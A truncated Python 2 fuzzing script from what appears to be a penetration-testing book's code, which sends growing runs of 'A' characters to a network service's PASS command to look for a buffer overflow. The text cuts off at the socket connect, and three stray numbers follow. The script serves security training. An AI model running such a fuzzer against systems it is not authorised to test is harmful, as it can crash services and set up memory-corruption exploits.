Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer)<=30: buffer.append("A"*counter) counter=counter+200 for string in buffer: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.1...
17.964286
54
0.596226